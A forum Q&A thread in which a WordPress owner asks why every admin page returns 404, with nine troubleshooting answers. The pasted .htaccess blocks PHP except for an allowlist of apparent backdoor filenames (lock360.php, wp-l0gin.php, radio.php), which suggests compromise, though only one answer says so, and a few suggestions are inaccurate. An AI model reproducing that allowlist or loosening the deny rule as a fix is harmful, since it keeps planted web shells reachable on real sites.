skip to Main Content

After successful login, I can’t access any of the page (I can’t create new post, I can’t edit post, I can’t create page, I can’t access any page on the left sidebar) on the admin panel, they all show 404 error. I have checked the .htaccess but it’s alright. I can’t access the permalink page cause it will show 404 error.

All these were working till when I tried accessing it yesterday.

.htaccess file

<FilesMatch ".(py|exe|php)$">
  Order allow,deny
  Deny from all
 </FilesMatch>
<FilesMatch 
"^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

9

Answers


  1. I see you are denying php files. If you have plugin that is overwriting your htaccess file disable it. Or edit current htaccess file and change

    <FilesMatch ".(py|exe|php)$">
      Order allow,deny
      Deny from all
    </FilesMatch>
    

    to

    <FilesMatch ".(py|exe)$">
      Order allow,deny
      Deny from all
    </FilesMatch>
    

    If you still cant access your website replace current htaccess with default one for testing.

    # BEGIN WordPress
    
    RewriteEngine On
    RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
    RewriteBase /
    RewriteRule ^index.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    
    # END WordPress
    
    Login or Signup to reply.
  2. I would disable all plugins by renaming their folders using ftp (or ssh). That way you can rule out the plugins being an issue. If that fixes the problem, turn the plugins back on one by one until it breaks. Then, if you post the name of that plugin you (we) can look through its code and see what’s going on.

    Login or Signup to reply.
  3. A 404 error indicates that your browser can’t locate the page you’re trying to access. The exact message can look a bit different depending on the browser you’re using. The first step to try is resetting your permalinks. Head to your WordPress dashboard and navigate to Settings > Permalinks. From here, just click on Save Changes. That’s right — you don’t actually need to edit anything. Clicking that button will update the permalink settings even if you don’t make any changes.

    Login or Signup to reply.
  4. Make sure your /wp-admin/ folder doesn’t contain any .htaccess files
    Delete, if there is any.

    If the problem persists…

    Make sure the mod_rewrite is enabled

    How to check whether mod_rewrite is enable on server?

    Enable the mod, restart apache.

    If the problem persists…

    Check if .htaccess is allowed in Apache config

    Go find your Apache config

    Make sure the AllowOverride directive is set to All and within <Directory /var/www/your/dir/where/wp/is>:

    Remember to restart Apache.

    If the problem persists…

    Delete .htaccess and reset permalinks

    Go to /wp-login.php and login.

    Settings -> Permalinks -> Save. (WP will automatically recreate your .htaccess again).

    If you cannot get to the permalinks page do it programmatically, add the snippet to functions.php:

    add_action( 'init', function () {
        flush_rewrite_rules( true );
    }, 99 );
    

    Refresh the page… Now your .httacces is recreated. Remove the code from functions.php.

    if the problem persists…

    Try disabling plugins.
    Rename the folder wp-content/plugins to _plugins, for example.

    Refresh the page. Now your plugins are disactivated.

    If the problem is gone, enable plugins 1 by 1 until the problem occurs again. That’s how you find the faulty plugin.

    Login or Signup to reply.
  5. @BlackPearl i tried to reach out, several times, and help you debug your your website but you didn’t respond back. I was going to help you avoid going through the "shotgun approach" and trying every possible combination that you either find online or people throw at you.

    Anyway, speaking from experience, this would usually happen due to one primary reason, and that is obsolete themes and/or outdated plugins. Obsolete themes and plugins would loose their compatibilities with newer versions of wordpress over time and cause all sorts of nasty errors. Sometimes this happens because servers and host companies migrate to a newer version of PHP which doesn’t support those outdated themes and plugins functionalities.

    having said that, i’d try to do the following steps to debug it:

    • First thing i’d try is to switch themes. I’d switch my current theme to one the wordpress default themes.
    • In your wp-config.php try to change your "DB_CHARSET" to only "utf".
    • Sometimes files get corrupted for some reasons, so try to see if the index.php file located in your wordpress core root folder has the proper content. Not the one in the root folder of your theme, the other one that is located in the same directory as the wp-admin folder is located.
    • Try to clear your WordPress cache. If you are using one of the caching plugins on your site, then clear your plugin cache.
    • See if there are extra spaces at the top and/or at the bottom of your functions.php file. If so, then remove those extra spaces.
    • Try to increase your memory limit, specially if your wordpress site uses graphical/image related plugins.
      • In your wp-config.php file, define( ‘WP_MEMORY_LIMIT’, ‘256M’ );
    Login or Signup to reply.
  6. Within your admin control panel, go to Tools -> Site Health. Look for problems there that may indicate what the problem is.

    Sometimes, for example, you’ll see that the REST API has an error. This happens when a plugin or theme has incorrect code which breaks the proper response for an API call. This breaks editing things like Pages/Posts/other Custom Post Types.

    To resolve, try disabling all your themes. A quick way to do this to SFTP into your server and rename the wp-content/plugins directory to something like plugins-renamed. Then reload any admin page. Then rename it back. All of your plugins will be disabled and you can re-enable them one at a time, while checking the Site Health page to see if the problem returns.

    Also try activating a different theme to see if that fixes it.

    Login or Signup to reply.
  7. I think,You have been hacked.
    Check config file it must have some gibberish code which breaks php execution.
    Restore your database or atleast check it.
    check how many users you have. Do you have any user as admin. Try login with that user.
    Check your files. Try to restore from backup.
    Check your unix files setting may be some file s need execute permission.

    https://www.malcare.com/blog/wordpress-file-permissions/

    Login or Signup to reply.
  8. Upgrade your php version to the latest version and it will kick back to life. WordPress can get glitchy when you’re not using the supported version of PHP.

    PHP requirements for WordPress

    Login or Signup to reply.
  9. In my case, just the WordPress Plugins page was displaying a 404, and other pages I tried worked fine. It turned out the permissions for the file wp-admin/plugins.php were set to 666 whereas nearly all other files had 644 permissions. Changing the permissions to 644 fixed the issue. I did this using the cPanel File Manager.

    Login or Signup to reply.
Please signup or login to give your own answer.
Back To Top
Search